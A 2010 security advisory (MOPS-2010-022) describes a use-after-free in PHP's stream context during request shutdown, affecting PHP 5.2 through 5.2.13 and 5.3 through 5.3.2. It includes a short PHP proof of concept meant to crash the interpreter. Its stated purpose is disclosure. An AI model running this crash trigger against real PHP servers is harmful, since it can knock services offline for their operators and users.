# MOPS-2010-022: PHP Stream Context Use After Free on Request Shutdown Vulnerability

May 12th, 2010

PHP uses the stream context during stream destruction, although it was already freed in the request shutdown before.

### Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

### Credits

The vulnerability was discovered by Mateusz Kocielski with his Minerva PHP Fuzzer.

### Detailed information

This vulnerability is a use after free vulnerability in the PHP request shutdown. The problem is that the stream context structure associated with a stream is already freed before it is accessed during stream destruction. This vulnerability needs more research to decide if code execution is possible.

### Proof of concept, exploit or instructions to reproduce

The following proof of concept code tries to trigger the vulnerability, which is supposed to crash PHP.

```
<?php
    $blah = fopen('/dev/zero','a');
    $arr = array();
    for ( $i = 0 ; $i < 5000 ; $i++ ) {
      $arr[$i] = "";
    }
    stream_context_get_options($blah);
    $a88 = fread($blah,100000000000);
  ?>
```

### Notes

This vulnerability was found by fuzzing and was not researched further. Therefore it is unknown if code execution is possible.